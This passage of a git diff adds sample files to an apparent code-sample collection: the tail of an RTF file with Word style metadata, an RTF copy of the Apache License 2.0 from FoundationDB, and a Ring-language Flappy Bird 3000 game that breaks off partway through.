+\lsdpriority66 \lsdlocked0 Medium List 2 Accent 3;\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 3;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 3;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 3;\lsdpriority70 \lsdlocked0 Dark List Accent 3;
+\lsdpriority71 \lsdlocked0 Colorful Shading Accent 3;\lsdpriority72 \lsdlocked0 Colorful List Accent 3;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 3;\lsdpriority60 \lsdlocked0 Light Shading Accent 4;\lsdpriority61 \lsdlocked0 Light List Accent 4;
+\lsdpriority62 \lsdlocked0 Light Grid Accent 4;\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 4;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 4;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 4;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 4;
+\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 4;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 4;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 4;\lsdpriority70 \lsdlocked0 Dark List Accent 4;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 4;
+\lsdpriority72 \lsdlocked0 Colorful List Accent 4;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 4;\lsdpriority60 \lsdlocked0 Light Shading Accent 5;\lsdpriority61 \lsdlocked0 Light List Accent 5;\lsdpriority62 \lsdlocked0 Light Grid Accent 5;
+\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 5;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 5;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 5;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 5;
+\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 5;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 5;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 5;\lsdpriority70 \lsdlocked0 Dark List Accent 5;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 5;
+\lsdpriority72 \lsdlocked0 Colorful List Accent 5;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 5;\lsdpriority60 \lsdlocked0 Light Shading Accent 6;\lsdpriority61 \lsdlocked0 Light List Accent 6;\lsdpriority62 \lsdlocked0 Light Grid Accent 6;
+\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 6;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 6;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 6;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 6;
+\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 6;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 6;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 6;\lsdpriority70 \lsdlocked0 Dark List Accent 6;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 6;
+\lsdpriority72 \lsdlocked0 Colorful List Accent 6;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 6;\lsdqformat1 \lsdpriority19 \lsdlocked0 Subtle Emphasis;\lsdqformat1 \lsdpriority21 \lsdlocked0 Intense Emphasis;
+\lsdqformat1 \lsdpriority31 \lsdlocked0 Subtle Reference;\lsdqformat1 \lsdpriority32 \lsdlocked0 Intense Reference;\lsdqformat1 \lsdpriority33 \lsdlocked0 Book Title;\lsdsemihidden1 \lsdunhideused1 \lsdpriority37 \lsdlocked0 Bibliography;
+\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority39 \lsdlocked0 TOC Heading;\lsdpriority41 \lsdlocked0 Plain Table 1;\lsdpriority42 \lsdlocked0 Plain Table 2;\lsdpriority43 \lsdlocked0 Plain Table 3;\lsdpriority44 \lsdlocked0 Plain Table 4;
+\lsdpriority45 \lsdlocked0 Plain Table 5;\lsdpriority40 \lsdlocked0 Grid Table Light;\lsdpriority46 \lsdlocked0 Grid Table 1 Light;\lsdpriority47 \lsdlocked0 Grid Table 2;\lsdpriority48 \lsdlocked0 Grid Table 3;\lsdpriority49 \lsdlocked0 Grid Table 4;
+\lsdpriority50 \lsdlocked0 Grid Table 5 Dark;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful;\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful;\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 1;\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 1;
+\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 1;\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 1;\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 1;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 1;
+\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 1;\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 2;\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 2;\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 2;
+\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 2;\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 2;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 2;\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 2;
+\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 3;\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 3;\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 3;\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 3;
+\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 3;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 3;\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 3;\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 4;
+\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 4;\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 4;\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 4;\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 4;
+\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 4;\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 4;\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 5;\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 5;
+\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 5;\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 5;\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 5;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 5;
+\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 5;\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 6;\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 6;\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 6;
+\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 6;\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 6;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 6;\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 6;
+\lsdpriority46 \lsdlocked0 List Table 1 Light;\lsdpriority47 \lsdlocked0 List Table 2;\lsdpriority48 \lsdlocked0 List Table 3;\lsdpriority49 \lsdlocked0 List Table 4;\lsdpriority50 \lsdlocked0 List Table 5 Dark;
+\lsdpriority51 \lsdlocked0 List Table 6 Colorful;\lsdpriority52 \lsdlocked0 List Table 7 Colorful;\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 1;\lsdpriority47 \lsdlocked0 List Table 2 Accent 1;\lsdpriority48 \lsdlocked0 List Table 3 Accent 1;
+\lsdpriority49 \lsdlocked0 List Table 4 Accent 1;\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 1;\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 1;\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 1;
+\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 2;\lsdpriority47 \lsdlocked0 List Table 2 Accent 2;\lsdpriority48 \lsdlocked0 List Table 3 Accent 2;\lsdpriority49 \lsdlocked0 List Table 4 Accent 2;
+\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 2;\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 2;\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 2;\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 3;
+\lsdpriority47 \lsdlocked0 List Table 2 Accent 3;\lsdpriority48 \lsdlocked0 List Table 3 Accent 3;\lsdpriority49 \lsdlocked0 List Table 4 Accent 3;\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 3;
+\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 3;\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 3;\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 4;\lsdpriority47 \lsdlocked0 List Table 2 Accent 4;
+\lsdpriority48 \lsdlocked0 List Table 3 Accent 4;\lsdpriority49 \lsdlocked0 List Table 4 Accent 4;\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 4;\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 4;
+\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 4;\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 5;\lsdpriority47 \lsdlocked0 List Table 2 Accent 5;\lsdpriority48 \lsdlocked0 List Table 3 Accent 5;
+\lsdpriority49 \lsdlocked0 List Table 4 Accent 5;\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 5;\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 5;\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 5;
+\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 6;\lsdpriority47 \lsdlocked0 List Table 2 Accent 6;\lsdpriority48 \lsdlocked0 List Table 3 Accent 6;\lsdpriority49 \lsdlocked0 List Table 4 Accent 6;
+\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 6;\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 6;\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 6;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Mention;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Smart Hyperlink;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Hashtag;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Unresolved Mention;}}{\*\datastore 010500000200000018000000
+4d73786d6c322e534158584d4c5265616465722e362e3000000000000000000000060000
+d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001000000010000000000000000100000feffffff00000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+fffffffffffffffffdfffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffffffffffff0c6ad98892f1d411a65f0040963251e500000000000000000000000070e6
+61b6aae8d301feffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000105000000000000}}
\ No newline at end of file
diff --git a/samples/Rich Text Format/LICENSE.rtf b/samples/Rich Text Format/LICENSE.rtf
new file mode 100644
index 0000000000..f41af23a4d
--- /dev/null
+++ b/samples/Rich Text Format/LICENSE.rtf	
@@ -0,0 +1,215 @@
+{\rtf1\ansi\ansicpg1252\cocoartf1561\cocoasubrtf600
+{\fonttbl\f0\fswiss\fcharset0 Helvetica;}
+{\colortbl;\red255\green255\blue255;}
+{\*\expandedcolortbl;;}
+\margl1440\margr1440\vieww10800\viewh8400\viewkind0
+\pard\tx720\tx1440\tx2160\tx2880\tx3600\tx4320\tx5040\tx5760\tx6480\tx7200\tx7920\tx8640\pardirnatural\partightenfactor0
+
+\f0\fs24 \cf0 \
+                                 Apache License\
+                           Version 2.0, January 2004\
+                        http://www.apache.org/licenses/\
+\
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\
+\
+   1. Definitions.\
+\
+      "License" shall mean the terms and conditions for use, reproduction,\
+      and distribution as defined by Sections 1 through 9 of this document.\
+\
+      "Licensor" shall mean the copyright owner or entity authorized by\
+      the copyright owner that is granting the License.\
+\
+      "Legal Entity" shall mean the union of the acting entity and all\
+      other entities that control, are controlled by, or are under common\
+      control with that entity. For the purposes of this definition,\
+      "control" means (i) the power, direct or indirect, to cause the\
+      direction or management of such entity, whether by contract or\
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the\
+      outstanding shares, or (iii) beneficial ownership of such entity.\
+\
+      "You" (or "Your") shall mean an individual or Legal Entity\
+      exercising permissions granted by this License.\
+\
+      "Source" form shall mean the preferred form for making modifications,\
+      including but not limited to software source code, documentation\
+      source, and configuration files.\
+\
+      "Object" form shall mean any form resulting from mechanical\
+      transformation or translation of a Source form, including but\
+      not limited to compiled object code, generated documentation,\
+      and conversions to other media types.\
+\
+      "Work" shall mean the work of authorship, whether in Source or\
+      Object form, made available under the License, as indicated by a\
+      copyright notice that is included in or attached to the work\
+      (an example is provided in the Appendix below).\
+\
+      "Derivative Works" shall mean any work, whether in Source or Object\
+      form, that is based on (or derived from) the Work and for which the\
+      editorial revisions, annotations, elaborations, or other modifications\
+      represent, as a whole, an original work of authorship. For the purposes\
+      of this License, Derivative Works shall not include works that remain\
+      separable from, or merely link (or bind by name) to the interfaces of,\
+      the Work and Derivative Works thereof.\
+\
+      "Contribution" shall mean any work of authorship, including\
+      the original version of the Work and any modifications or additions\
+      to that Work or Derivative Works thereof, that is intentionally\
+      submitted to Licensor for inclusion in the Work by the copyright owner\
+      or by an individual or Legal Entity authorized to submit on behalf of\
+      the copyright owner. For the purposes of this definition, "submitted"\
+      means any form of electronic, verbal, or written communication sent\
+      to the Licensor or its representatives, including but not limited to\
+      communication on electronic mailing lists, source code control systems,\
+      and issue tracking systems that are managed by, or on behalf of, the\
+      Licensor for the purpose of discussing and improving the Work, but\
+      excluding communication that is conspicuously marked or otherwise\
+      designated in writing by the copyright owner as "Not a Contribution."\
+\
+      "Contributor" shall mean Licensor and any individual or Legal Entity\
+      on behalf of whom a Contribution has been received by Licensor and\
+      subsequently incorporated within the Work.\
+\
+   2. Grant of Copyright License. Subject to the terms and conditions of\
+      this License, each Contributor hereby grants to You a perpetual,\
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\
+      copyright license to reproduce, prepare Derivative Works of,\
+      publicly display, publicly perform, sublicense, and distribute the\
+      Work and such Derivative Works in Source or Object form.\
+\
+   3. Grant of Patent License. Subject to the terms and conditions of\
+      this License, each Contributor hereby grants to You a perpetual,\
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\
+      (except as stated in this section) patent license to make, have made,\
+      use, offer to sell, sell, import, and otherwise transfer the Work,\
+      where such license applies only to those patent claims licensable\
+      by such Contributor that are necessarily infringed by their\
+      Contribution(s) alone or by combination of their Contribution(s)\
+      with the Work to which such Contribution(s) was submitted. If You\
+      institute patent litigation against any entity (including a\
+      cross-claim or counterclaim in a lawsuit) alleging that the Work\
+      or a Contribution incorporated within the Work constitutes direct\
+      or contributory patent infringement, then any patent licenses\
+      granted to You under this License for that Work shall terminate\
+      as of the date such litigation is filed.\
+\
+   4. Redistribution. You may reproduce and distribute copies of the\
+      Work or Derivative Works thereof in any medium, with or without\
+      modifications, and in Source or Object form, provided that You\
+      meet the following conditions:\
+\
+      (a) You must give any other recipients of the Work or\
+          Derivative Works a copy of this License; and\
+\
+      (b) You must cause any modified files to carry prominent notices\
+          stating that You changed the files; and\
+\
+      (c) You must retain, in the Source form of any Derivative Works\
+          that You distribute, all copyright, patent, trademark, and\
+          attribution notices from the Source form of the Work,\
+          excluding those notices that do not pertain to any part of\
+          the Derivative Works; and\
+\
+      (d) If the Work includes a "NOTICE" text file as part of its\
+          distribution, then any Derivative Works that You distribute must\
+          include a readable copy of the attribution notices contained\
+          within such NOTICE file, excluding those notices that do not\
+          pertain to any part of the Derivative Works, in at least one\
+          of the following places: within a NOTICE text file distributed\
+          as part of the Derivative Works; within the Source form or\
+          documentation, if provided along with the Derivative Works; or,\
+          within a display generated by the Derivative Works, if and\
+          wherever such third-party notices normally appear. The contents\
+          of the NOTICE file are for informational purposes only and\
+          do not modify the License. You may add Your own attribution\
+          notices within Derivative Works that You distribute, alongside\
+          or as an addendum to the NOTICE text from the Work, provided\
+          that such additional attribution notices cannot be construed\
+          as modifying the License.\
+\
+      You may add Your own copyright statement to Your modifications and\
+      may provide additional or different license terms and conditions\
+      for use, reproduction, or distribution of Your modifications, or\
+      for any such Derivative Works as a whole, provided Your use,\
+      reproduction, and distribution of the Work otherwise complies with\
+      the conditions stated in this License.\
+\
+   5. Submission of Contributions. Unless You explicitly state otherwise,\
+      any Contribution intentionally submitted for inclusion in the Work\
+      by You to the Licensor shall be under the terms and conditions of\
+      this License, without any additional terms or conditions.\
+      Notwithstanding the above, nothing herein shall supersede or modify\
+      the terms of any separate license agreement you may have executed\
+      with Licensor regarding such Contributions.\
+\
+   6. Trademarks. This License does not grant permission to use the trade\
+      names, trademarks, service marks, or product names of the Licensor,\
+      except as required for reasonable and customary use in describing the\
+      origin of the Work and reproducing the content of the NOTICE file.\
+\
+   7. Disclaimer of Warranty. Unless required by applicable law or\
+      agreed to in writing, Licensor provides the Work (and each\
+      Contributor provides its Contributions) on an "AS IS" BASIS,\
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\
+      implied, including, without limitation, any warranties or conditions\
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\
+      PARTICULAR PURPOSE. You are solely responsible for determining the\
+      appropriateness of using or redistributing the Work and assume any\
+      risks associated with Your exercise of permissions under this License.\
+\
+   8. Limitation of Liability. In no event and under no legal theory,\
+      whether in tort (including negligence), contract, or otherwise,\
+      unless required by applicable law (such as deliberate and grossly\
+      negligent acts) or agreed to in writing, shall any Contributor be\
+      liable to You for damages, including any direct, indirect, special,\
+      incidental, or consequential damages of any character arising as a\
+      result of this License or out of the use or inability to use the\
+      Work (including but not limited to damages for loss of goodwill,\
+      work stoppage, computer failure or malfunction, or any and all\
+      other commercial damages or losses), even if such Contributor\
+      has been advised of the possibility of such damages.\
+\
+   9. Accepting Warranty or Additional Liability. While redistributing\
+      the Work or Derivative Works thereof, You may choose to offer,\
+      and charge a fee for, acceptance of support, warranty, indemnity,\
+      or other liability obligations and/or rights consistent with this\
+      License. However, in accepting such obligations, You may act only\
+      on Your own behalf and on Your sole responsibility, not on behalf\
+      of any other Contributor, and only if You agree to indemnify,\
+      defend, and hold each Contributor harmless for any liability\
+      incurred by, or claims asserted against, such Contributor by reason\
+      of your accepting any such warranty or additional liability.\
+\
+   END OF TERMS AND CONDITIONS\
+\
+   APPENDIX: How to apply the Apache License to your work.\
+\
+      To apply the Apache License to your work, attach the following\
+      boilerplate notice, with the fields enclosed by brackets "[]"\
+      replaced with your own identifying information. (Don't include\
+      the brackets!)  The text should be enclosed in the appropriate\
+      comment syntax for the file format. We also recommend that a\
+      file or class name and description of purpose be included on the\
+      same "printed page" as the copyright notice for easier\
+      identification within third-party archives.\
+\
+   Licensed under the Apache License, Version 2.0 (the "License");\
+   you may not use this file except in compliance with the License.\
+   You may obtain a copy of the License at\
+\
+       http://www.apache.org/licenses/LICENSE-2.0\
+\
+   Unless required by applicable law or agreed to in writing, software\
+   distributed under the License is distributed on an "AS IS" BASIS,\
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\
+   See the License for the specific language governing permissions and\
+   limitations under the License.\
+\
+-------------------------------------------------------------------------------\
+SOFTWARE DISTRIBUTED WITH FOUNDATIONDB:\
+\
+The FoundationDB software includes a number of subcomponents with separate \
+copyright notices and license terms - please see the file ACKNOWLEDGEMENTS.\
+-------------------------------------------------------------------------------\
+}
\ No newline at end of file
diff --git a/samples/Ring/hello.ring b/samples/Ring/hello.ring
new file mode 100644
index 0000000000..5ab5e66ea6
--- /dev/null
+++ b/samples/Ring/hello.ring
@@ -0,0 +1,335 @@
+# The Ring Standard Library
+# Game Engine for 2D Games
+# Flappy Bird 3000 Game
+# 2016, Mahmoud Fayed <msfclipper@yahoo.com>
+
+oGameState = NULL
+
+Load "gameengine.ring"
+
+func main
+
+	oGame = New Game  
+
+	while true
+
+	oGameState = New GameState
+
+	oGame {
+		title = "Flappy Bird 3000"
+		sprite
+		{
+			file = "images/fbback.png"
+			x = 0 y=0 width=800 height = 600 scaled = true animate = false
+			keypress = func ogame,oself,nKey {
+				if nkey = key_esc or nKey = GE_AC_BACK
+					ogame.shutdown()
+				but nKey = key_space
+					oGameState.startplay=true
+					ogame.shutdown=true
+				ok
+			}
+			mouse = func ogame,oself,nType,aMouseList {
+				if nType = GE_MOUSE_UP
+					call oself.keypress(oGame,oSelf,Key_Space)
+				ok
+			}
+		}
+		text {
+			animate = false
+			size = 35
+			file = "fonts/pirulen.ttf"
+			text = "Flappy Bird 3000"
+			x = 150	y=50
+		}
+		text {
+			animate = false
+			size = 25
+			file = "fonts/pirulen.ttf"
+			text = "Version 1.0"
+			x = 280	y=100
+		}
+		text {
+			animate = false
+			size = 16
+			file = "fonts/pirulen.ttf"
+			text = "(C) 2016, Mahmoud Fayed"
+			x = 245	y=140
+		}
+
+		text {
+			animate = false
+			size = 25
+			file = "fonts/pirulen.ttf"
+			text = "To Win Get Score = 3000"
+			x = 150	y=270
+		}
+
+		text {
+			animate = false
+			size = 25
+			file = "fonts/pirulen.ttf"
+			text = "Press Space to start"
+			x = 190	y=470
+		}
+		text {
+			animate = false
+			size = 20
+			file = "fonts/pirulen.ttf"
+			text = "Press Esc to Exit"
+			x = 260	y=510
+		}
+
+		animate {
+			file = "images/fbbird.png"
+			x = 200
+			y = 200
+			framewidth = 20
+			scaled = true
+			height = 50
+			width = 50
+			nStep = 3
+			transparent = true
+			animate = true
+			direction = ge_direction_random
+			state = func oGame,oSelf {
+				oSelf {
+					nStep--
+					if nStep = 0
+						nStep = 3
+						if frame < 3
+							frame++
+						else
+							frame=1
+						ok
+					ok
+					if x <= 0 x=0 ok
+					if y <= 0 y=0 ok
+					if x >= 750 x= 750 ok
+					if y > 550 y=550 ok
+				}
+			}
+		}
+
+		Sound {
+			file = "sound/music2.wav"
+		}
+	}
+	if oGameState.startplay
+		oGame.refresh()
+		playstart(oGame)
+		oGame.refresh()
+	ok
+
+	end
+
+
+func playstart oGame
+
+	oGame {
+		FPS = 60
+		FixedFPS = 120
+		Title = "Flappy Bird 3000"
+		Sprite {
+			file = "images/fbback.png"
+			x = 0 y=0 width=800 height = 600 scaled = true animate = false
+			keypress = func ogame,oself,nKey {
+				if nkey = key_esc or nKey = GE_AC_BACK
+					ogame.shutdown()
+				ok
+			}
+		}
+
+		Map {
+			blockwidth = 80
+			blockheight = 80
+			aMap = [
+				 	[0,0,0,0,0,0,0,0,0,1,0,0,0,3,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0],
+					[0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0],
+					[0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,2,0,0,0,1,0,0,0],
+					[0,0,0,0,0,0,0,0,0,1,0,0,0,2,0,0,0,3,0,0,0,1,0,0,0,1,0,0,0],
+					[0,0,0,0,0,0,0,0,0,3,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,3,0,0,0],
+					[0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0],
+					[0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0],
+					[0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0]
+				]
+			newmap(aMap)
+			aImages = ["images/fbwall.png","images/fbwallup.png",
+					"images/fbwalldown.png"]
+			state = func oGame,oSelf {
+				if oGameState.gameresult = false
+					px = oGame.aObjects[3].x
+					py = oGame.aObjects[3].y
+					oSelf {
+						x -=  3
+						if x < - 2100
+							x = 0
+							newmap(aMap)
+						ok
+						nCol =  getcol(px,0)
+						if nCol=11 or nCol=15 or nCol=19 or nCol=23 or nCol=27
+							if nCol != oGameState.lastcol
+								oGameState.lastcol = nCol
+								oGameState.Score += 100
+								oGame { Sound {
+									once = true
+									file = "sound/sfx_point.wav"
+								} }
+								checkwin(oGame)
+							ok
+						ok
+					}
+					if  oSelf.getvalue(px+40,py) != 0 or
+					    oSelf.getvalue(px+40,py+40) != 0 or
+					    oSelf.getvalue(px,py) != 0 or
+					    oSelf.getvalue(px,py+40) != 0
+						oGameState.gameresult = true
+						oGame {
+							text {
+								point = 550
+								size = 30
+								nStep = 3
+								file = "fonts/pirulen.ttf"
+								text = "Game Over !!!"
+								x = 500	y=10
+								state = func ogame,oself {
+									if oself.y >= 550
+											ogame.shutdown = true
+									ok
+										if oself.y = 90
+										ogame {
+											Sound {
+												once = true
+												file = "sound/sfx_die.wav"
+											}
+										}
+									ok
+								}
+							}
+							Sound {
+								once = true
+								file = "sound/sfx_hit.wav"
+							}
+						}
+					ok
+				ok
+			}
+		}
+
+		animate {
+			file = "images/fbbird.png"
+			x = 10
+			y = 10
+			framewidth = 20
+			scaled = true
+			height = 50
+			width = 50
+			nStep = 3
+			transparent = true
+			state = func oGame,oSelf {
+				oSelf {
+					nStep--
+					if nStep = 0
+						nStep = 3
+						if frame < 3
+							frame++
+						else
+							frame=1
+						ok
+					ok
+				}
+
+				if not oGameState.playerwin
+					oGameState.down --
+					if oGameState.down = 0
+						oGameState.down = 3
+						oself {
+							y += 25
+							if y > 550 y=550 ok
+						}
+					ok
+				ok
+
+			}
+			keypress = func ogame,oself,nKey {
+				if oGameState.gameresult = false
+					oself {
+						if nkey = key_space
+							y -= 55
+							oGameState.down = 60
+							if y<=0 y=0 ok
+						ok
+					}
+				ok
+			}
+			mouse = func ogame,oself,nType,aMouseList {
+				if nType = GE_MOUSE_UP
+					call oself.keypress(oGame,oSelf,Key_Space)
+				ok
+			}
+		}
+
+		text {
+			animate = false
+			point = 400
+			size = 30
+			file = "fonts/pirulen.ttf"
+			text = "Score : " + oGameState.score
+			x = 500	y=10
+			state = func oGame,oSelf {
+				oSelf { text = "Score : " + oGameState.score }
+			}
+		}
+
+	}
+
+func newmap aMap
+	aV = [
+	[1,1,3,0,0,2,1,1],
+	[1,3,0,0,0,2,1,1],
+	[1,1,1,3,0,2,1,1],
+	[1,1,1,3,0,0,0,0],
+	[0,0,0,0,2,1,1,1],
+	[0,0,2,1,1,1,1,1],
+	[0,0,0,2,1,1,1,1],
+	[1,1,1,3,0,2,1,1],
+	[1,1,1,1,1,3,0,0],
+	[3,0,0,2,1,1,1,1],
+	[3,0,0,2,3,0,0,2]
+	]
+	for x = 10 to 24 step 4
+		aVar = aV[ (random(10)+1) ]
+		for y = 1 to 8
+			aMap[y][x] = aVar[y]
+		next
+	next
+
+func checkwin ogame
+	if oGameState.score = 3000
+		oGameState.gameresult = true
+		oGameState.playerwin = true
+		oGame {
+			text {
+				point = 400
+				size = 30
+				nStep = 3
+				file = "fonts/pirulen.ttf"
+				text = "You Win !!!"
+				x = 500	y=10
